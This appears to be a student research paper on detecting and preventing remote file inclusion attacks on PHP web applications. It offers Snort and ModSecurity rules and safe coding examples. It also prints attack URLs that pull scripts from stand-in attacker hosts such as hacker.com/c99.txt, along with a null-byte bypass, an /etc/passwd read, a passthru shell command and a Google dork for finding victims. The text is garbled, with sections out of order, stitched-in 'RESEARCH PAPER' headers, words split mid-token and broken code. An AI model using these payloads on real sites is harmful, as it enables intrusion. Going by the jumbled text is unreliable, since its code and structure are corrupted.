DETECTION AND GENERIC PREVENTION AGAINST REMOTE FILE INCLUSION ATTACK

Shashank Nigam Computer Science Department Shree Ramswaroop memorial Groups of Professional Colleges Tewariganj ,Lucknow
1) Abstract
If you look at the logs of just about any production web server, you are bound to find signs of a remote file include (RFI) attack. It is easy to disregard them as low hanging Internet broadscan noise, but attackers would not be scanning the Internet for vulnerable hosts if they were not also successfully exploiting them. This paper describes the mechanics of a RFI attack by doing a code analysis and an attack walk through on a vulnerable application. Detecting an attack is discussed by writing sample IDS signatures and looking at related log files. The threat landscape is examined by taking a look at the tools attackers use to find and exploit vulnerable hoststhis is coupled with an actual attack transcript from a monitored RFI botnet. Multiple mitigation techniques are discussed ranging from secure programming practices to defenses at the network layer. as if they were local files (allow_url_fopen) this capability used be seemingly used for local files system using directives include and require. In most cases malicious code is injected into web servers using remote file inclusion attack. File inclusions are vulnerabilities in web application that allows attacker to execute script by including it in existing script. The following php code allow server to act like client and request file specified by the user: <?php include ($_GET[page]); ? > The following HTTP request shows how the attack is possible against that PHP code : index.php?page=http://www.hacker.com/c99.t xt Other type of vulnerabilities in web applications are also used including including url parsing code execution vulnerability,POST vulnerabilities and arbitrary file upload vulnerabilities. In essence the script that can be downloaded can be used to do anything it is programmed to do, with the privilege of web deamon. In past few years dozens of file inclusion have been disclosed publicaly, Effectively a web application vulnerability serve as a remote exploit for attacking a web server. In one recent case, a group kept a list of hundred of compromised web servers with their exploit commands in list of URLs reffered to them as shells. 3)Detection of RFI Basic detection against remote file inclusion attack can be done by using google and google dorks .Google dorks is search string fingerprint of application that an attacker feed to search ebgine to get list of potential victims. Certain google dorks are: inurl: index.php?page=

2) Introduction
Remote file inclusion (RFI) is a technique used to attack web applications from a remote computer. Remote file inclusion attacks allow malicious users to run their own code on a vulnerable web server. The attacker succeeds in running malicious code on a web page by including code from a URL located on a remote server. When an application executes the malicious code it may lead to a backdoor exploit or technical information retrieval. The application vulnerability leading to RFI is a result of insufficient validation on user input. In order to perform proper validation of input to avoid RFI attacks, an application should check that user input doesnt contain invalid characters or reference to an unauthorized external location. Php is suspectible to remote file inclusion attack because it allows file system operations to automatically open URL

Now this google dork will be matched withother URLs in database of google and whichever matches is result of search engine. Now to this that particular site for attack we modify the original url of site. For example: Original url: http://www.xyz.com/inde.php?page=foo.php Modified url : http://www.xyxz.com/index.php?page=http://w ww.google.com if webpage is redirected to google homepage then it means we can move to other web servers from particular location therby making site vulnerable to Remote file inclusion attack.

variables from HTTP request either from GET or POST . For example: http://www.vulnerable.com/rfi.php?own_me=h ttp://example.com/badcodde%00 accordingly the request array will be modified include($_REQUEST(own_me)./foo.php) hence the value of variable is changed in super global array. %00 is NULL BYTE that is attached to modified url so as to prevent the web server to append any of its extension like .php etc. 4.3) Poor coding technique Poor coding techniques involves bad input validation thereby leaving a loophole within the web application. For example: if(!$page) { $page="data.php"; } include ($page); Here variable page is validated poorely using if condition that allows user to set value of $page variable and include it.

RESEARCH PAPER 1
4) Vulnerabilities Basically there are three types of web based vulnerabilities within a web server for remote file inclusion attack. Exploiting variables in include fuction Exploiting super global array in php Poor coding technique 4.1) Exploiting variables in include function Suppose URL will be http://www.vulnerable.com/index,php?basepat h=foo.php accordingly include function in php will be somewhat like include($basepath , foo.php) now if we modify the url it would be something like : http://www.vulnerable.com/index.php?basepat h=c99.txt so now the value of the variable basepath is set to c99.txt, which is the mailicious code. After the c99.txt is loaded on web server the entire server is yours and hacker can execute its own query over the webserver. 4.2) Exploiting superglobal array in php REQUEST is the super global array in php stores all the information comes through

RESEARCH PAPER 2
5) Basic PHP vulnerabilities While PHP scripts are not inherently bad, the user could either inadvertently write a script that allows the vulnerability or maliciously create a script to take advantage of certain PHP functions. A web administrator may not need to worry about such scripts for the main website that he/she manages, but other users on the system which create and publish web content could create bad PHP scripts. The web server administrator must be aware of such issues with PHP so none of the pages on the system have vulnerabilities. There are two major types of PHP vulnerabilities, local and remote. The local vulnerabilities are designed such that the attack is being made on the system on which the PHP script resides. A remote vulnerability executes a PHP script on one web server, which in turn goes out to get another PHP script and then is executed on the

web server. In this instance, an attacker could place a PHP script on some other server which would cause vulnerability to a web server which executed it. Then the attacker can essentially tell the web server they are trying to exploit to grab that PHP file and execute it, causing the web server to be vulnerable. Specific local and remote vulnerabilities can be found in the following sections.

5.1) Local Vulnerability

There is really one major known locally vulnerable command in PHP. This command is the $_GET[] command, which allows the user to specify arbitrary values as variables through the URL. The $_GET command will take any variable in the URL called "page" and place it in the variable $page. Then $page is used with the include command. The include command will attempt to parse whatever is in the variable $page as a PHP script. If the file does not contain PHP script, it will basically just display the contents of the file. An attacker can then specify whatever they want in the URL and it will be shown on the web page. If an attacker specifies a URL like http://www.myhost.com/index.php?page=/etc/ passwd and index.php contains the above code, the attacker will see the contents of "/etc/passwd" on the screen.

attacker could modify the libdir variable to put in whatever web site they would like to visit. In this case, if libdir was set to http://attackers.website.org and languages.php existed on that server, the server would go http://attackers.website.org and attempt to execute languages.php on its own server. Within languages.php is the second PHP statement shown above. The passthru command locally executes. whatever is contained in the command as a shell script. In this case, the attacker would see the result of the shell command "/bin/ls /etc".

5.3) Vulnerabilities caused by PHP configuration file

Some vulnerabilities are introduced by incorrectly or not setting certain configuration parameters for the PHP module. Certain commands are not as well known as others or may not be documented properly. Many of these configuration parameters are known by the PHP community, but many web server administrators are not part of that community and do not know much about PHP. The configuration parameters could change and some could be added (or removed) at any time. The web server administrator would need to keep up with all of these changes.

5.2) Remote vulnerabilities

Another way that a PHP script can introduce vulnerability is through the use of commands which get PHP scripts from other sites for execution locally. In this scenario, an attacker can set up their own web site which hosts a PHP script that contains a vulnerable command. The attacker can then tell the web site they wish to attack to get the vulnerable PHP script from the web site that they set up and execute it. <?php include($lib_dir, ./language.php) ?> <?php passthru(bin/ls/etc); ?> The first PHP statement listed is on the server which the attacker wants to exploit. The variable libdir is defined on the server. An

REASEARCH PAPER 3 and 4 6) Detection of attack from Analyst point of view

An Intrusion Analyst will look for signs of an RFI attack in two log sources: The first being an IDS event (Snort in our case) and the second being the application logs from a web server. Before Snort begins generating logs for an attack it needs to know what to look for.

6.1)IDS EVENT
alert tcp any any -> any 80 (msg:"eNetman page RFI Attempt"; \ flow:established,to_server; content:"GET "; depth:4; \ uricontent:"/enetman/html/index.php?"; uricontent:"page="; \

pcre:"/page=\s*http\:\//U"; flowbits:set,rfi; sid:200902060;) This signature matches on any client to server traffic to TCP port 80 (HTTP) that contains a HTTP GET request for "/enetman/html/index.php" and is trying to pass a URL in the "page" parameter. Since passing an absolute URL parameter to this application is not a legitimate use case, we can be certain that a hit on this signature indicates a RFI attempt. To determine whether an attacker is trying to exploit the application, the analyst will have to examine the Snort log files for an indication such as the example log entry file.

7.1) Custom Prevention 7.2) Generic Prevention

7.1)Custom prevention method

This method protects a known vulnerability, in many cases a vulnerability that was already exploited by malicious users. The protection will be implemented by disallowing input of URLs in specific vulnerable parameters. But such a protection would imply a serious constraints on functionality of web application.

7.1.1) Proper coding techniques

This involves the ability of programmer to code in such a manner that it dose not leaves out any loopholes within the application <?PHP $page= $_GET[page] Switch($page) { Case : : Case home.php: include home.php; break; Case about.php: include about.php; break; default : echo invalid page; break; } ?> Now only the pages mentioned within switch case wil be called thereby denying permission for any other page to be included;

6.2) Web Server Log

A defense-in-depth architecture maintains multiple sources and levels of logging. In this case, an analyst can also examine web server application logs for signs of an attack. For example, a Apache log file attacker - - [07/Feb/2009:00:00:04 -0600] "GET /enetman/html/index.php?page=http://remote /include_me.txt HTTP/1.1" 200 2425 The HTTP status code in conjunction with the first eNetman Snort rule allows an additional signature to be developed that provides a further indication that an attack was successful. When the first rule fires it sets a variable called "rfi". alert tcp any 80 -> any any (msg:"Successful RFI Attempt!"; \ flow:established,to_client; content:"200 OK"; \ flowbits:isset,rfi; sid:20090208;) Above code checks to see if this variable is set, meaning an RFI attempt has been made; it also checks whether the response code returned by the server indicated a successful request.

7.1.2) Data validation

Data validation is done to check the input coming from any external source this is called Data validation. Common ways by which php receives untrusted data from outside world : a)$_GET[] data received from user query string b)$_POST[ ] data received from HTML form. c)$COOKIES[ ] data ,sent from browser. d)$_REQUEST[ ]data ,all above data combined into single array.

REASEARCH PAPER 5 7) Prevention from RFI

Prevetion from remote file inclusion consist of two approaches

<?php $color= RED; $LEGAL_COLOR= { RED; YELLOW; BLUE; GREEN; } If(isset($_GET[ color ])) { $_GET[ color]= trim($_GET[ color]); If(inarray($_GET[color], $LegalColor, true)) { $color= $_GET[color]; } ?> The problem with mitigation of known vulnerabilities is that: It can only protect from already known vulnerabilities; taking such a passive approach for protecting web applications is a risk that is not recommended. It will not solve the RFI vulnerability in proprietary web application if there were no resources to perform code review or proper penetration testing. 7.2) Generic Prevention When trying to use a negative security approach in order to have generic solution for the RFI attack we will try to search for a signature such as (ht|f)tps?://. This approach will result in many false positives since: There are request parameters which are used as external link (e.g. - accepts http:// as valid input). There are request parameters that are prone to false positives, these parameters are also addressed in this document as free text parameters. In many cases these parameters contains user input (submission of free text from the user to the application) and in other cases parameter that contains large amount of data (may include URL links that can be false detected as RFI attack). 7.2.1) Zero Day protection A Zero-day rule can have any of the following conditions: Searching for IP address

Using an IP address as external link may indicate an attack. And therefore a rule for detecting such a condition should search for the pattern (ht|f)tps?:// followed by an IP address. A typical attack using an IP address looks like: GET /?include=http://192.0.55.2/hacker.txt HTTP/1.1 Security rule to detect such type of attacks is: SecRule ARGS @rx (ht|f)tps?://([\d\.]+) t:urlDecodeUni,t:htmlEntityDecode,t:lowerca se,deny,phase:2,msg:Remote File Inclusion

7.2.2) The Php function include() We have seen many attack vectors that tries to include remote file by using injection of code typically containing the PHP keyword include. A rule for detecting such a condition should search for include( followed by (ht|f)tps?:// A typical attack using an include PHP keyword looks like: GET/?id={${include(http://www.malicuos_si te.com/hacker.txt)}}{${exit()}}HTTP/1.1 Security rule to detect such type of attack is: Sec SecRule ARGS @rx\binclude\s*\([^)]*(ht|f)tps?:// t:urlDecodeUni,t:htmlEntityDecode,t:lowerc ase,deny,phase:2,msg:Remote File Inclusion : 7.2.3) Remote inclusion ends with question mark Many of the RFI attack vectors contain at least one question mark at the end of the inclusion without any parameters following it, this is because they try to bypass applications that append information to the user input. For example,

include( $format . .php ); The $format is the user input and the .php is added as extension, appending ? to the end of the user input eliminates the appended extension. A rule for detecting such a condition such an attack should search for (ft|htt)ps?.*\?$. A typical attack looks like GET /?include=http://www.malicuos_site.com/hack er.txt? HTTP/1.1 Security rule to prevent such type of attack is: SecRule ARGS @rx (ft|htt)ps?.*\?+$ t:urlDecodeUni,t:htmlEntityDecode,t:lowerc ase,deny,phase:2,msg:Remote File Inclusion.

3) False positives the suggested rule set doesnt ensure any false positive detection. A user should choose which of the rules fit his application and which rules should be disabled.

9) Conclusion
From my personal experience using the suggested rule set reveals most of the RFI attacks and with minimal false positives. Some of the rules overlap but the reason for that is the need to make it possible to disable rules that result in false positives and still remain with a solid rules set that gives good protection for the desired web application.

10) References:
[1] Alternative view to exploit Remote file inclusion by David jacoby. [2] Multiperspective view of remote file inclusion attack by Dennis Schwertz [3] Detecting remote file inclusion attack by Or Katz (Breach securities pvt ltd.) [4] Php vulnerabilities in webservers by David k.Lifier and Steven K. zieglier [5] Web servers botnets and hosting farms as attack platform by Gadi Evaron, Kfir Damari, Noam Rathaus. [6]http://www.owasp.org/index.php/Top_10_ 2007-A3 [7]http://www.securityfocus.com/bid/21749/i nfo [8]http://en.wikipedia.org/wiki/Remote_File_I nclusion

8) Implementation Issues Issues that need to be addressed when trying to implement the suggested rule set are: 1) Manual configuration vs. automatic learning the positive securityprotection approach is very valuable for RFI detection; automatic learning of parameter types is a better option than the manual configuration option. 2) Automatic learning should be able to: a). Detect URL type properly; for example detect properly URLs with and without parameter as well as decoded URLs. b) Detect free text parameter detect parameters that contain user free text so they can be excluded in special cases. c). Detect changes in the application learning of parameters should detect changes in the application (e.g parameter that was learned as valid external link is changed to validate only internal link)